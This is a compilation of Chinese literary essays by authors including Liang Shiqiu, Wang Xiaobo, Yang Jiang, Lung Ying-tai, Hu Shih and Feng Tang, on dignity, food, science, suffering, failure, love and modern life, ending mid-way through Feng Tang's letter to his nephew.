　　两年前清华大学的孙立平教授写过一篇很好的文章，题目叫做《穷人的尊严与不羞辱》。他认为贫富差距的恶化，使得很多弱者根本连饭碗都很难保得住，更不用说要保住自己的尊严了。那么，我们的社会能够维护他们吗？不能。因为这是一个嫌贫爱富的时代，城市主流如此，甚至连公权力也是如此。在车站广场前驱赶民工的公安可曾显示过尊重？在街道上追打小贩的城管可曾表露过善意？建立于共产主义意识形态的中国已经变成了一个阶级分野最巨大的国家，而且这种分野还不只是权力与财富的区别，更是尊严分配的区别；穷人与弱者的尊严，就和他们的财产一样稀缺。

　　然后，无情的市场竞争就进来了，情况只有变得更坏。

　　有意思的是，尊敬一定是双向的：“以敬待人不能单靠命令就会自动出现，它还是种互相承认。互相承认则需要协商的存在，它涉及个体人格与社会结构的庞杂性”。用大白话讲，这就是面子。当那位“大爷”觉得服务生不给自己面子、因而当众羞辱他的时候，他也许不知道这种粗暴本身就是很丢脸的行为。弱者饱遭欺凌，并不表示欺人的强者就因此得到尊严；恰恰相反，尊严与面子是人际的舞蹈，任何一个剥夺他人尊严的人，都不可能是个体面的君子。

　　难怪这个社会不只再也看不见“清贫”，而且连“富贵”也都几近消亡。富贵也者，既富且贵；今日中国有多少富人身上是带着贵气的呢？所以我愿意为孙立平的观点添上一笔注脚：除了穷人与弱者，现在的富豪和强者其实也不见得很有尊严。

八宝饭

梁实秋

　　席终一道甜菜八宝饭通常是广受欢迎的，不过够标准的不多见。其实做法简单，只有一个秘诀――不惜工本。

　　八宝饭主要的是糯米。糯米要烂，越烂越好，而糯米不易蒸烂。所以事先要把糯米煮过，至少要煮成八分烂。这是最关重要的一点。所谓八宝并没有一定。莲子是不可少的。莲子也不易烂，有的莲子永远也烂不了，所以要选容易烂的莲子，也要事先煮得八分烂。莲子不妨多。

　　桂圆肉不可或缺。台湾盛产桂圆，且有剥好了的桂圆肉可买。

　　美国的葡萄干，白的红的都可以用，兼备二种更好。

　　银杏，即白果，剥了皮，煮一下，去其苦味，红枣可以用，不宜多，因为带皮带核，吐起来麻烦。美国的干李子（prune），黑黑大大的，不妨用几个。

　　豆沙一大碗当然要早做好。

　　如果有红丝青丝，作装饰也不错。

　　以上配料预备好，取较浅的大碗一，抹上一层油，防其粘碗。把莲子桂圆肉等一圈圈的铺在碗底，或一瓣瓣的铺在碗底，然后轻轻的放进糯米，再填入豆沙，填得平平的一大碗，上笼去蒸。蒸的时间不妨长，使碗里的东西充分松软膨胀，凝为一体，上桌的时候，取大盘一，把碗里的东西翻扣在大盘里，浇上稀释的冰糖汁，表面上再放几颗罐头的红樱桃，就更好看了。

　　八宝饭是甜点心，但不宜太甜，所以豆沙里糯米不宜加糖太多。

　　豆沙糯米里可以拌上一点猪油，但不宜多，多了太腻。

　　从前八宝饭上桌，先端上两小碗白水，供大家洗匙，实在恶劣。现在多是每人一份小碗小匙，体面得多。如果大盘八宝饭再备两个大羹匙，大家共用，就更好了。有人喜欢在取食之前先把八宝饭搅和一阵，像是拌搅水泥一般，也大可不必。若是舍大匙而不用，用小匙直接取食，再把小匙直接放在口里舔，那一副吃相就令人不敢恭维了。

科学的美好

王小波

　　我原是学理科的，最早学化学。我学得不坏，老师讲的东西我都懂。化学光懂了不成，还要做实验，做实验我就不行了。用移液管移液体，别人都用橡皮球吸液体，我老用嘴去吸——我知道移液管不能用嘴吸，只是橡皮球经常找不着——吸别的还好，有一回我竟去吸浓氨水，好像吸到了陈年的老尿罐里，此后有半个月嗓子哑掉了。做毕业论文时，我做个萃取实验，烧瓶里盛了一大瓶子氯仿，滚滚沸腾着，按说不该往外跑，但我的装置漏气，一会儿就漏个精光。漏掉了我就去领新的，新的一会儿又漏光。一个星期我漏掉了五大瓶氯仿，漏掉的起码有一小半被我吸了进去。这种东西是种麻醉药，我吸进去的氯仿足以醉死十条大蟒。说也奇怪，我居然站着不倒，只是有点迷糊。在这种情况下，我还把实验做了出来，证明我的化学课学得蛮好。但是老师和同学一致认为我不适合干化学。尤其是和我在一个实验室里做实验的同学更是这样认为，他们也吸进了一些氯仿，远没我吸得多，却都抱怨说头晕。他们还称我为实验室里的人民公敌。我自己也是这样想的：继续干化学，毒死我自己还不要紧，毒死同事就不好了。我对这门科学一直恋恋不舍：学化学的女孩很多，有不少长得很漂亮。

　　后来我去学数学，在这方面我很有天分。无论是数字运算，还是公式推导，我都像闪电一样快，只是结果不一定全对。人家都说，我做起数学题来像小日本一样疯狂：我们这一代人在银幕上见到的日本人很多，这些人总是头戴战斗帽，挺着刺刀不知死活地冲锋，别人说我做数学题时就是这么个模样。学数学的女孩少，长得也一般。但学这门科学我害不到别人，所以我也很喜欢。有一回考试，我看看试题，觉得很容易，就像刮风一样做完了走人。等分数出来，居然考了全班的最低分。找到老师一问，原来那天的试题分为两部分，一半在试题纸的正面，我看到了，也做了。还有一半在反面，我根本就没看见。我赶紧看看这些没做的题，然后说：这些题目我都会做。老师说，知道你会，但是没做也不能给分。他还说什么“就是要整整你这屁股眼大掉了心的人”。这就是胡说八道了。谁也不能大到了这个地步。一门课学到了要挨整的程度，就不如不学。

　　我现在既不是化学家，也不是数学家，更不是物理学家。我靠写文章为生，与科技绝缘——只是有时弄弄计算机。这个行当我会的不少，从最低等的汇编语言到最新潮的 C++全会写，硬件知识也有一些。但从我自己的利益来看，我还不如一点都不会，省得整夜不睡，鼓捣我的电脑，删东加西，最后把整个系统弄垮，手头又没有软件备份。于是，在凌晨五点钟，我在朋友家门前踱来踱去，抽着烟。早起的清洁工都以为我失恋了，这门里住着我失去的恋人，我在表演失魂落魄给她看。其实不是的，电脑死掉了，我什么都干不了，更睡不着觉。好容易等到天大亮了，我就冲进去，向他借软件来恢复系统。——瞎扯了这么多，现在言归正传，我要说的是：我和科学没有缘分，但是我爱科学，甚至比真正的科学家还要爱得多些。

　　正如罗素先生所说，近代以来，科学建立了一种理性的权威——这种权威和以往任何一种权威不同。科学的道理不同于“夫子曰”，也不同于红头文件。科学家发表的结果，不需要凭借自己的身份来要人相信。你可以拿一支笔、一张纸，或者备几件简单的实验器材，马上就可以验证别人的结论。当然，这是一百年前的事。验证最新的科学成果要麻烦得多，但是这种原则一点都没有改变。科学和人类其他事业完全不同，它是一种平等的事业。真正的科学没有在中国诞生，这是有原因的。这是因为中国的文化传统里没有平等：从打孔孟到如今，讲的全是尊卑有序。上面说了，拿煤球炉子可以炼钢，你敢说要做实验验证吗？你不敢。炼出牛屎一样的东西，也得闭着眼说是好钢。在这种框架之下，根本就不可能有科学。

　　科学的美好，还在于它是种自由的事业。它有点像它的一个产物互联网（Internet）——谁都没有想建造这样一个全球性的电脑网络，大家只是把各自的网络连通，不知不觉就把它造成了。科学也是这样的，世界上各地的人把自己的发明贡献给了科学，它就诞生了。这就是科学的实质。还有一样东西也是这么诞生的，那就是市场经济。做生意的方法，你发明一些，我发明一些，慢慢地形成了现在这个东西，你看它不怎么样，但它还无可替代。一种自由发展而成的事业，总是比个人能想出来的强大得多。参与自由的事业，像做自由的人一样，令人神往。当然，扯到这里就离了题。现在总听到有人说，要有个某某学，或者说，我们要创建有民族风格的某某学，仿佛经他这么一规划、一呼吁，在他画出的框子里就会冒出一种真正的科学。老母鸡“格格”地叫一阵，挣红了脸，就能生一个蛋，但科学不会这样产生。人会情绪激动，又会爱慕虚荣。科学没有这些毛病，对人的这些毛病，它也不予回应。最重要的是：科学就是它自己，不在任何人的管辖之内。

　　对于科学的好处，我已经费尽心机阐述了一番，当然不可能说得全面。其实我最想说的是：科学是人创造的事业，但它比人类本身更为美好。我的老师说过，科学对中国人来说，是种外来的东西，所以我们对它的理解，有过种种偏差：始则惊为洪水猛兽，继而当巫术去理解，再后来把它看做一种宗教，拜倒在它的面前。他说这些理解都是不对的，科学是个不断学习的过程。我老师说得很对。我能补充的只是：除了学习科学已有的内容，还要学习它所有、我们所无的素质。我现在不学科学了，但我始终在学习这些素质。这就是说，人要爱平等、爱自由，人类开创的一切事业中，科学最有成就，就是因为有这两样做根基。对个人而言，没有这两样东西，不仅谈不上成就，而且会活得像一只猪。比这还重要的只有一样，就是要爱智慧。无论是个人，还是民族，做聪明人才有前途，当笨蛋肯定是要倒霉。大概是在一年多以前吧，我写了篇小文章讨论这个问题，论证人爱智慧比当笨蛋好些。结果冒出一位先生把我臭骂一顿，还说我不爱国——真是好没来由！我只是论证一番，又没强逼着你当聪明人。你爱当笨蛋就去当吧，你有这个权利。

人生实苦

杨绛

　　在这个物欲横流的人世间，人生一世实在是够苦的。你存心做一个与世无争的老实人吧，人家就利用你，欺侮你。你稍有才德品貌，人家就嫉妒你、排挤你。你大度退让，人家就侵犯你、损害你。你要保护自己，就不得不时刻防御。你要不与人争，就得与世无求，同时还要维持实力，准备斗争。你要和别人和平共处，就先得和他们周旋，还得准备随时吃亏。你总有知心的人、友好的人。一旦看到他们受欺侮、吃亏受气，你能不同情气愤，而要尽力相帮相助吗？如果看到善良的人受苦受害，能无动于衷吗？如果看到公家受到损害，奸人在私肥，能视而不见吗？

　　当今之世，人性中的灵性良心，迷蒙在烟雨云雾间。头脑的智力愈强，愈会自欺欺人。信仰和迷信划上了等号。聪明年轻的一代，只图消费享受，而曾为灵性奋斗的人，看到自己的无能为力而灰心绝望，觉得人生只是一场无可奈何的空虚。上帝已不在其位，财神爷当道了。人世间只是争权夺利、争名夺位的“名利场”，或者干脆就称为“战场”吧。争得了名利，还得抱住紧紧不放，不妨豚皮老脸，不知羞耻！享受吧，花了钱寻欢作乐，不又都是“将钱买憔悴”？天灾人祸都是防不胜防的。人与人、党派与党派、国与国之间为了争夺而产生的仇恨狠毒，再加上人世间种种误解、猜忌、不能预测的烦扰、不能防备的冤屈，只能叹息一声：“人生实苦！”多少人只是又操心、又苦恼的度过了一生。贫贱的人，为了衣食住行，成家立业，生育儿女，得操心。富贵的，要运用他们的财富权势，更得操心。哪个看似享福的人真的享了福了呢？为什么总说“身在福中不知福”呢？旁人看来在享福，他本人只在烦恼啊！为什么说“家家都有一本难念的经”呢？因为逼近了看，人生处处都是苦恼啊！为什么总说“需知世上苦人多啊”。为什么总说“需知世上苦人多啊”？最无能之辈也得为生活操心；最当权得势的人，当然更得操心。上天神明，创造了有头有脑、有灵性良心的人，专叫他们来吃苦的吗？

怎样跌得有尊严

龙应台

　　今天台湾的新闻，一个国三的学生在学校的厕所里，用一个塑胶袋套在自己头上，自杀了。

　　读到这样的新闻，我总不忍去读细节。掩上报纸，走出门，灰蒙蒙的天，下着细雨。已经连下了三天雨，这个十五岁的孩子，人生最后的三天，所看见的是一个灰蒙蒙、湿淋淋、寒气沁人的世界。

　　在那三天中，有没有哪一个人的名字被他写进笔记本里，他曾经一度动念想去和对方痛哭一场？有没有某一个电话号码被他输入手机，他曾经一度犹疑要不要拨那个电话去说一说自己的害怕？

　　那天早上，十五岁的他决绝地出门之前，桌上有没有早点？厨房里有没有声音？从家门到校门的一路上，有没有一句轻柔的话、一个温暖的眼神，使他留恋，使他动摇？

　　我想说的是，在我们整个成长的过程里，谁教过我们怎么去面对痛苦、挫折、失败？它不在我们的家庭教育里，它不在小学、中学、大学的教科书或课程里，它更不在我们的大众传播里。家庭教育、学校教育、社会教育只教我们如何去追求卓越，从砍樱桃树的华盛顿、悬梁刺股的孙敬、苏秦到平地起高楼的比尔·盖茨，都是成功的典范。即使是谈到失败，目的只是要你绝地反攻，再度追求出人头地，譬如越王勾践的卧薪尝胆，洗雪耻辱，譬如那个战败的国王看见蜘蛛如何结网，不屈不挠。我们拼命地学习如何成功冲刺一百米，但是没有人教过我们：你跌倒时，怎么跌得有尊严；你的膝盖破得血肉模糊时，怎么清洗伤口、怎么包扎；你痛得无法忍受时，用什么样的表情去面对别人；你一头栽下时，怎么治疗内心淌血的伤口，怎么获得心灵深层的平静，心像玻璃一样碎了一地时，你怎么收拾？

　　谁教过我们，在跌倒时，怎样的勇敢才真正有用？怎样的智慧才能渡过？跌倒，怎样可以变成行远的力量？失败，为什么往往是人生的修行？何以跌倒过的人，更深刻、更真诚？

　　我们没有学过。

　　如果这个社会曾经给那十五岁的孩子上过这样的课程，他留恋我们，以及我们头上的蓝天的机会是不是多一点？

　　现在绊倒了。你的修行开始。在你与世隔绝的修行室外，有很多人希望捎给你一句轻柔的话、一个温暖的眼神、一个结实的拥抱，可是修行的路总是孤独的，因为智慧必然来自孤独。

城市和亡灵

伊塔洛 · 卡尔维诺

　　世上没有一个城市比得上欧莎匹亚那么倾向于享受无忧无虑的生活。为了缓冲由生至死的突变，它的居民建造了一个一模一样的地下城，所有经过特别脱水处理的尸体，保留着一层黄色皮肤包住骸骨，都给带到地下城去继续进行生前的活动。关于活动的性质，首要的考虑是死者生时心境最舒泰的时刻：大多数尸体坐在饭桌旁边，或者在跳舞，或者在吹奏乐器。活人的欧莎匹亚所从事的行业和专业，在地下城也同样经营着——最低限度，都是生者乐于经营而永不厌烦的行业：钟表匠在环绕身边的那些不再走动的钟表里，把干枯的耳朵凑近走了音的老祖父摆钟；演员睁开空洞的眼读剧本，而理发匠握着干刷子在他的脸上涂肥皂；带笑的女子骷髅在给小牝牛的尸体榨奶。

　　其实，许多活人都希望死后能够过另一种生活：公墓里挤满了猎人、次女高音、银行家、小提琴家、公爵夫人、女佣、将军——那数目是活的城从来没有达到的。

　　送死者到地下城并且为他们安排位置，是戴罩帽的一个兄弟会的工作。除了他们，谁都不能进入亡灵的欧莎匹亚，有关地下城的一切资料都是从他们那里探听得来的。

　　有些人说，死者之中也有同样性质的兄弟会组织，而且都乐意帮忙别人。戴罩帽的兄弟，去世之后会在另一个欧莎匹亚从事同样的工作；传说他们之中有些人其实已经死去，可却仍然继续走上走下。反正，在活人的欧莎匹亚里，这个兄弟会握着大权。

　　据说他们每次到下面的欧莎匹亚去的时候都发觉有些改变；亡灵在自己的城里也进行改革；不多，可是都经过严肃的思考，而且并不随便胡来。有人说，亡灵的欧莎匹亚在一年之内变得面目全非了。为着赶上潮流，活着的人会根据戴罩帽兄弟所讲的情形追随亡灵进行变革。这样，活人的欧莎匹亚已经开始模仿地下城。

　　据说，这不是刚发生的事：地面的欧莎匹亚，其实是已去世的人依照地下城的形象建造的。据说在这一对孪生城市之间，活的和死的已经分不开了。

书店男与超市女

姬中宪

　　众所周知，女人多是超市型的，平时懒洋洋，可是一进超市，你看吧，立刻两眼放光，找到了人生的意义。她们或提着购物筐，或驾着购物车，在货架间神出鬼没，飞檐走壁，好像猴子放回了山林，鱼儿游进了海里。哪怕买一包卷筒纸，她们也能把货架翻遍，把栏杆拍遍，把全球卷筒纸市场分析个透彻，最终找到性价比最优的那一卷。她们还会做大量准备工作，便笺纸上写满要采购的物品清单，可是一进超市，她们就把清单扔到一边，开始临场发挥，她们奋不顾身地扑向货架，和每一种新货色一见钟情，被每一张促销广告准确击中，直至大包大揽。她们还精确地掌握了各种超市免费班车的时刻表和路线图，在某个冷僻的街角将班车堵个正着，然后和一群老头老太太一路打着瞌睡，绕过大半个城市，来到心仪的超市门口。

　　男人被女人拉去超市，刚进场还兴致勃勃，五分钟后就打第一个哈欠，十分钟后就口干舌燥，十五分钟腰酸腿疼，二十分钟头昏脑胀，二十五分钟内分泌失调，半小时就行尸走肉了。而此时，女人才刚进入状态，男人看不到超市的尽头，找不到以逸待劳的方法，开始烦燥，不耐烦，发脾气，赌咒发誓以后再不进超市。专家们分析了，这叫“超市综合症”，如同妇科病专找女性一样，这种病专找男性。以上那些表现都是超综症的早期症状，还有得救，如果不及时治疗，或者被误诊，当成中暑治，拖到晚期就比较麻烦，弄不好会诱发抑郁症或糖尿病也有可能。这病还挺有规律，一个月里，总有那么几天会困扰男性，让他们羞于启齿，有苦难言。一个女人足够心细，该在拉男人去超市前，先到网上查一查，算一算，免得撞上那不开心的几天。

　　男人爱去书店，尤其是男青年中的第二种。男人逛书店和女人逛街一样，图的是那种感觉，享受的是那过程，尤其是当男人失意了，失恋了，又或者得意了，发奖金了，就跑去逛书店，大包小包买回家。买了就买了，回家放进书架里，偶尔拿出来摩挲一下，再放回去，连外面的塑料封膜都没拆开。虽然只买不看，但有那一架书摆着，心里就充实。虽然充实，又觉得不够，俗话说的好，男人永远缺少一本书，因此，尽管上一本还没读，却急着买下一本。直到书架塞不下，就送给某个好哥们，或者送给保姆，让她带给家乡某个读不起书的穷亲戚。男人买书，也爱买名牌，也就是名家写的书，虽然读不过前三页，但有那一串醒目的名字标在封面，品味也就跟着陡增。

　　可惜的是，书太便宜，名牌书也名贵不起来，买书因此带不来消费的快感，一本世界名著比不上一双纯棉袜子，一套作家文集比不上一条 CK 内裤，这世界上，所有跟消费挂不上钩的快感都是经不起推敲的快感。因此，别指望女人会喜欢上逛书店，就像别指望男人爱上逛超市一样。女人进了书店，立刻迷失在书页中，好像也患上书店综合症，她们普遍晕字，专找有图画的看，找有美女帅哥照片的，有关彩妆的，美甲的，否则宁肯看菜谱，看旅游攻略，除非少数有学识有更高追求的女性，才会去看会计上岗书，或者托福单词一月通什么的。“女读者”因此成了一个特定概念，和“居家男”一样，成为某些让人敬而远之的人群的代名词。

爱情饥渴症

刘瑜

　　饥饿会影响人的判断力，这勿庸置疑。

　　最明显的例子就是，人饱的时候和饿的时候，去超市买东西，消费数额往往大相径庭。饿的时候逛超市，看见任何食物都两眼放光，有如与失散多年的亲人重逢，一旦抓住，就不肯松手。而饱的时候，则推着小车，从容不迫在货架间穿行，看见吃的，一般得风度翩翩地左右端详一番，多数时候还把它给扔回货架上去。后来，我知道有一种病，叫“爱情饥渴症”。

　　我琢磨着，饥渴症都是一样的，不管前面的定语是不是爱情。

　　爱情饥渴症最大的临床表现，就是迫不及待地将随便什么落入手中的“食物”都飞速地塞到自己的车框里去，并且不管那个食物多难吃都坚信它就是自己最想吃的东西，并且不管它的价格如何，都一定要把它买回家去。

　　总而言之，被饥饿冲昏了头脑。

　　一般来说，一个人要饿到老眼昏花的程度，总得饿了一阵。所以多年没有正儿八经谈恋爱的大龄男女青年，是爱情饥渴症的高发人群。尤其是大龄女青年，因为对爱情的胃口特别好，因为眼看着兜里的粮票就要过期，所以看见一个吃的在眼前，哪怕是发了霉的包子，哪怕是烂了心的苹果，都要一个箭步冲过去，不分青红皂白地往肚子里吞。

　　问题是，看都没看清的东西，直接往肚子里塞，能有什么好结果。

　　那霉包子也好，烂苹果也好，看见你跑得这么快，吞得这么急，肯定要沾沾自喜。自然而然地，他要把你的饥饿感误解为他的内在价值。我是不是很牛啊？是不是很酷啊？是不是有种我自己都没有发掘的神秘魅力啊？霉包子、烂苹果照着镜子，抹着自己的大背头，越看越得意。不行，既然我这么牛，有这么神秘的魅力，哪能这么轻易就出手？所以，便是霉包子、烂苹果，看你跑得这么快，也要在你伸手的一刹那，把自己的价格上调个百分之五十、八十的。所以我们才看到无数的兄弟姐妹痛心疾首地抱怨：“丫什么东西啊？要才没才，要貌没貌，要钱没钱，谱倒是摆得比天高……”

　　那可不，你给人家那么多颜色，人家能不开染坊。

　　霉包子因为你给的那点颜色，把自己看成新鲜包子。新鲜包子因为那点颜色，把自己看成是红烧肉。红烧肉因为那点颜色，把自己看成是鲍鱼鱼翅。反正你的爱情饥渴症，造就了对方的自大狂。

　　对对方其实也不公平。因为患有爱情饥渴症，所以你寻找爱情的时候，寻找的是一剂膏药，牢牢地贴在你的伤口上。既然你找的是膏药，它最重要的性能就应该是安全、是杀菌、是保护。它要治疗你历史上所有的炎症，还要抵御将来所有可能的细菌。可是，爱情它不仅仅是狗皮膏药啊。人们说了，爱情要象鲜花一样美丽，无用，仅仅是嚣张地美丽。

　　记得崔健以前在某次采访中说，他一般只和 27 岁以下的女孩恋爱，因为 27 岁以上的女孩总是太缺乏安全感，而且总是让这种危机感败坏了恋爱的其它乐趣。

　　这话里面充满了性别歧视和年龄歧视，但是我承认，他有他的道理。他不愿做一片膏药，被按在一个爱情饥渴症的伤口上，一按不起。

　　英语世界有一句被说得有点滥的话，叫做：“I love you not because I need you, but because I want you.”翻译成中文就是，“我爱你不是因为我需要你，而是因为我想要你。”这个“需要”和“要”之间的区别，就是把对方当作一个工具还是一个主体的区别。如果一个女人因为钱而嫁给某人，那她就是把他当作了钱包，工具的一种。同理，如果一个女人因为感情的饥渴而嫁给某人，那她就是把他当作了膏药，工具的另一种而已。

　　据说真正的爱情，不是因为对方能带给你什么，而是因为你就是欣赏他，他这个人。

　　对于爱情饥渴症患者自己来说，找到她的膏药，也未必就是一件好事。饥饿是一种蒙蔽。所谓饥不择食，说的就是这个道理。等你把自己随手捞来的包子苹果塞进肚子，大半饱之后，也许会突然发现，其实你并不爱吃这些包子苹果，其实这些包子苹果其实并不美味。怎么办？把剩下的扔到垃圾桶里去？可是，浪费粮食缺乏基本的公德心。

　　所以说，当你推着购物车在爱情的超市里穿行的时候，再饥肠辘辘，也要有耐心。耐心是一种美德，其基本的道理就是，你的饥饿，不应该是让一个霉包子糟蹋你胃口的理由，也不能是你浪费一个好包子的理由。很多时候，冲动里面有一种快感，而另一些时候，远离则是一种操守。

我们管脑袋叫什么？

刘齐

　　我充实，因为我热爱接受信息，每天早晨一睁眼就开始接受。先是读报纸。现在的报纸越办越厚，噌噌噌，一个个小黑字儿像一群小蠓虫，拼命往我脑子里钻。它们钻完了，我上网。这网可不是鱼网乒乓球网，它能把全世界的信息“数码”到一起，咣当一下甩给你。你当不上伟人得不了天下但能得天下信息，鼠标在手，犹如权柄在握，你还想怎样？要不现在野心家怎么好像少了呢？

　　除了网以外，有书，有杂志，还有广播、广告、电话、手机短信、彩信、气球、图片、商标、路标、文件、简报、灯箱、报表、电影、飞艇（恕我分类不科学，类太多，顾不上科学）、标语、布告、信函、BP 机、通缉令、中奖名单、小道消息、口头文学、印外国字的 T 恤衫也叫老头衫、治性病的小帖子也叫非法张贴物，以及其他许多我一时想不起来但每天肯定围前围后往脑子里灌呀灌的信息、信息、信息。

　　当然还有电视，忘了谁也忘不了电视，它或他、她太迷人，不迷人也缠人，每天少说缠你一两个小时，让你手拿遥控板嗖嗖换台，总以为里边又整出新玩意儿了。

　　晚上起来解手，迷迷瞪瞪依然接受信息。窗外有霓虹灯闪耀，说是桑拿浴热烈、美容院温馨。窗内传真机哗哗吐纸，哪个蔑视作息时间的家伙正在给我传资料。

　　如此这般，一天下来，我的脑子不可能不充实。充实就是把仓库装满，一点空余不剩。有时已经装得挺满，不料又来信息了，我就跟先来的信息说，大家挤一挤，发扬点风格，学学人家压缩饼干。先来的信息不乐意了，就成群结队，各处乱串，把脑子里负责想事的地方、辨别好赖的地方，防止当二百五的地方，统统占领，弄得乱七八糟，谁也甭想逞能。幸好还有一个地方由我亲自掌管，绝不放权，那就是脑子的大门。这个大门永远向信息敞开。久而久之，进来什么样的信息已经不重要了，只要是信息就行。每当有信息擦着门框呼呼进入，我就会由衷地感到充实。

　　直到有一天，颅骨隐隐作痛，我才意识到，那不叫充实，那叫头昏脑胀。我踉踉跄跄，去请教信息界的一位高人，看看能不能搞一下卫生，就是说，把那些堆积如山的信息，往外清一清。

　　高人说：“我先给你出道题——太阳为什么从东方升起？”

　　我迟豫着不敢回答，脑子里有七八种答案纠缠不休，还有几十种与此相关的中国口号、丹麦寓言、印第安谜语，甚至还有美索不达米亚或其它什么亚的典故。

　　高人见我不语，宽厚一笑，又问：“一加一等于几？”

　　我仍拿不准主意，心中浆糊般、洪水般涌来杀手、鞋垫、南极摇滚、假嗓子、美眉、绿眉、波浪眉、IT、小瘦狼、休闲文化兔、思想虫、智慧陷阱、新新女孩、新新老太太、房地产骗子、革命大车、二奶、三爷、八千里云和月、一万年醋和酒等各种概念、形象、新知、旧闻……我纵然有一百张嘴怕也说不出正确意见。

　　这时，高人走过来，拍拍我的脑袋，把耳朵凑上去听听动静，好像还用鼻子闻了闻，然后，他唔了一声，满意地说，“挺好，运作得挺正常，不用清理。”

　　“但是，”我鼓足勇气，大叫一声：“我脑袋胀！”

　　高人惊讶地说，“你怎么还管它叫脑袋？我们早管它叫垃圾箱了。”

新生活

胡适

　　哪样的生活可以叫做新生活呢？我想来想去，只有一句话。新生活就是有意思的生活。你听了，必定要问我，有意思的生活又是什么样子的生活呢？我且先说一两件实在的事情做个样子，你就明白我的意思了。

　　前天你没有事做，闲的不耐烦了，你跑到街上的一个酒店里，打了四两白干，喝完了，又要四两，再添上四两。喝得大醉了，同张大哥吵了一回嘴，几乎打起架来。后来李四哥来把你拉开，你气忿忿地又要了四两白干，喝的人事不知，幸亏李四哥把你扶回去睡了。昨儿早上，你酒醒了，大嫂子把前天的事告诉你，你懊悔的很，自己埋怨自己：“昨儿为什么要喝那么多酒呢？可不是糊涂吗？”

　　你赶上张大哥家去，作了许多揖，赔了许多不是，自己怪自己糊涂，请张大哥大量包涵。正说时，李四哥也来了，王三哥也来了。他们三缺一，要你陪他们打牌。你坐下来，打了十二圈牌，输了一百多吊钱。你回得家来，大嫂子怪你不该赌博，你又懊悔的很，自己怪自己道：“是呵，我为什么要陪他们打牌呢？可不是糊涂吗？”

　　诸位，像这样子的生活，叫做糊涂生活，糊涂生活便是没有意思的生活。你做完了这种生活，回头一想，“我为什么要这样干呢？”你自己也回答不出究竟为什么。

　　诸位，凡是自己说不出“为什么这样做”的事，都是没有意思的生活。反过来说，凡是自己说得出“为什么这样做”的事，都可以说是有意思的生活。

　　生活的“为什么”，就是生活的意思。

　　人同畜牲的分别，就在这个“为什么”上。你到万牲园里去看那白熊一天到晚摆来摆去不肯歇，那就是没有意思的生活。我们做了人，应该不要学那些畜牲的生活。畜牲的生活只是糊涂，只是胡混，只是不晓得自己为什么如此做。一个人做的事应该件件回得出一个“为什么”。

　　我为什么要干这个？为什么不干那个？回答得出，方才可算是一个人的生活。

　　我们希望中国人都能做这种有意思的新生活。其实这种新生活并不十分难，只消时时刻刻问自己为什么这样做，为什么不那样做，就可以渐渐的做到我们所说的新生活了。

　　诸位，千万不要说“为什么”这三个字是很容易的小事。你打今天起，每做一件事，便问一个为什么——为什么不把辫子剪了？为什么不把大姑娘的小脚放了？为什么大嫂子脸上搽那么多的脂粉？为什么出棺材要用那么多叫化子？为什么娶媳妇也要用那么多叫化子？为什么骂人要骂他的爹妈？为什么这个？为什么那个？你试办一两天，你就会觉得这三个字的趣味真是无穷无尽，这三个字的功用也无穷无尽。

　　诸位，我们恭恭敬敬地请你们来试试这种新生活。

大欲

冯唐

我唯一的外甥：

　　你妈是我唯一的姐姐，你是你妈唯一的儿子，所以你是我唯一的外甥。

　　上次和你妈通电话，她说你改变巨大。尽管你还是长时间一个人关起门呆在你的房间，但是天理已经开始起作用，你现在不只是打网络游戏了，你开始给你认识的小姑娘打电话了。

　　我记得你打网络游戏的狂热。从六岁起，平常上学的时候，你妈不叫你三次，不拎着菜刀进你房间，你不会起床。但是周六和周日，五点多钟，鸡还没叫，你就起床了。你用被子遮住门，这样灯光就漏不出来，你妈就不会发现你在打网络游戏。但是我知道。我去美国看你妈，通常都睡你旁边的房间。你打游戏的时候喝水，实在憋不住了，你就跑步上厕所。你跑去，你跑回，可真快啊，你撒尿，可真生猛啊，三年之内，马桶被你尿坏了两个。你打游戏的时候吃饭，最喜欢的是比萨饼，你跑来，你跑回，嘴里叼一块，手里抓一块。你和我说很少说话，上次你和你妈一起去机场接我，你见面竟然连续和我说了三句中文：“小舅你好。明天我生日。你给我买一个 Wii 吧。”

　　你妈说你或许是尚被埋没的电子游戏天才，我说或许只是痴迷。你妈问我，你将来靠电子游戏能养活自己吗？我说，难。做游戏运营商，太损阴德。做游戏开发，需要数学天才。我认识的三个数学天才，一个在高盛做衍生产品风险模型，两个去开发魔兽争霸。你 20 道算术题错 8 道，你妈说你不上进，你告诫你妈，做人不能太贪婪。做职业游戏运动员，需要生理畸形。如果想靠比赛挣钱过上体面的生活，打键盘的左手和右手都得是六指儿。

　　我有一个拍纪录片的朋友，比我黑，比我帅，他叫陈晓卿。他有个儿子，年纪和你一样大，比他白，比他帅，他看他儿子的眼神常常充满谄媚。他儿子最近和他爸一起到我家，他对我们谈的天下、入世、出塞、艺术、民众等等没有兴趣，喝了一小杯黑方，两眼放光，还要。他爸坚持不再给，我拿出 iPhone，找了个游戏给他打发无聊。那个游戏叫“Shake Me（晃我）”，非常简单，使劲儿摇晃，上面姑娘的衣服就一件件减少。他借着黑方的劲儿，两眼放光，晃了半个晚上，回家的时候，晃手机的右胳膊比左胳膊粗。后来陈晓卿说，孩儿他妈把我列入了不可来往的黑名单，她发现，从我那里回去之后，孩儿的百度搜索纪录，最多的就是：美女，裸体。

　　这次你妈说你开始放下游戏，开始给姑娘打电话，证明了你不是游戏天才，天才不会放下，也证明了天理在你身上起了作用，就像它让小陈搜索美女的裸体一样。

　　我知道，这时候，围绕着小姑娘，你有十万个为什么。姑娘为什么笑起来比阳光还灿烂？头发洗顺了为什么比兰花还好看？你不爱吃肥肉但是为什么老想着女生衬衫包裹下的胸部？有些姑娘在千百人里为什么你一眼就看到？为什么看到之后想再看一眼？为什么看不到的时候会时时想起？为什么她出现的时候你会提高说话的声音？为什么你从来不打篮球，她去了你就跟着去了？等等，等等。

　　我只帮你解说（不是解答）一个问题：姑娘是用来做什么的？

　　简单地说，姑娘是个入口。世界是一棵倒长的树，下面是多个分岔的入口，上面是同一的根。姑娘和溪水声、月光、毒品、厕所气味等等一样，都是一个入口。进去，都有走到根部的可能。

　　复杂些说，姑娘可以大致有五种用途。

